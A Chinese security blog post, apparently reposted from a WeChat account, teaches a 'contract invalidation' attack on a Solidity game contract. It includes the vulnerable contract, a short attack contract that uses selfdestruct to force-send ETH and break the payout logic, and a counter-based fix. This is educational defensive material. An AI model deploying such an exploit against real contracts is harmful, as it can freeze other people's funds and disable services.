智能合约安全 | 合约无效化攻击

admin 2025年2月8日00:51:13评论12 views字数 1384阅读4分36秒阅读模式
本文由掌控安全学院 - 君叹 投稿

 

智能合约安全

合约无效化攻击

合约无效化攻击类同于web安全中的逻辑漏洞中的一种 我们这里拿一个典型的例子来讲解 有这样一份智能合约, 每个人可以向其中发送1 eth 第七个发送的人可以获取全部的7 eth 我们按照这个功能去编写代码

contract Games{function play()public payable {require(msg.value ==1 ether);if(address(this).balance ==7*10**18){// 当此人发送的是本轮中第七次eth, 则获得全部奖励 msg.sender.call{value:7 ether}("");}}}

阅读代码, 乍一看好像没什么问题 require保证了每人每次只能发送1eth 功能也可以正常实现

合约自毁函数 selfdestruct

接下来就要引入一个关于 合约自毁 的概念:合约部署之后, 假设我们发现了bug, 需要更改,智能合约不像传统的服务器那样, 传统的服务器可以直接关停服务,甚至热更新(在不停止服务的情况下更改服务器代码),在区块链上的代码我们是无法更改的。那么假设我们的某个服务存在类似于”支付漏洞”的漏洞,我们必须要停止掉这个智能合约,这时候就需要用到合约自毁函数,函数签名 selfdestruct(address payable); 该函数接收一个可支付地址作为参数,函数会销毁该智能合约的部署,并将此时合约中存在的余额强制转给指定的地址

攻击实现

那么这个漏洞就很清楚了 只需要我们部署一个智能合约 并使用自毁函数强制转账 8 eth 给上述合约 由于上述合约中的 if(address(this.balance == 7 ether)), 这个条件永远不会被满足 该合约也就失去了作用

攻击代码如下

contract Attack{function draw()public payable {}// 用来存eth, 方便测试function over(address addr)public{ selfdestruct(payable(addr));}}

先转账8eth到攻击合约中

智能合约安全 | 合约无效化攻击img

然后在将目标合约的地址传给over函数调用

智能合约安全 | 合约无效化攻击img

可以看到目标合约中的eth已经变成了8 这时候无论怎样向该合约传入eth 都已经无效了

漏洞防御

作为一名攻击者, 可能会觉得这种类型的攻击可能有些”鸡肋” 换一个角度, 如果你作为一名开发者, 一定是不希望这种事情的发生的 防御的话, 我们可以专门设置一个值, 只有在每次函数被调用时 才会增加, 判断的依据也使用这个值来判断

contract Games{uint blance =0;function play()public payable {require(msg.value ==1 ether); blance +=1;if(blance ==7){// 当此人发送的是本轮中第七次eth, 则获得全部奖励 msg.sender.call{value:7 ether}("");}}}

总结

本篇主要引入 自毁函数 在攻击上的一些可能点, 其核心还是代码逻辑漏洞, 另外, 本篇中的漏洞代码也可以使用回滚攻击去”耍赖”, 感兴趣的同学可以自行尝试.

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

智能合约安全 | 合约无效化攻击

 

原文始发于微信公众号(掌控安全EDU):智能合约安全 | 合约无效化攻击

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月8日00:51:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   智能合约安全 | 合约无效化攻击https://cn-sec.com/archives/3704740.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息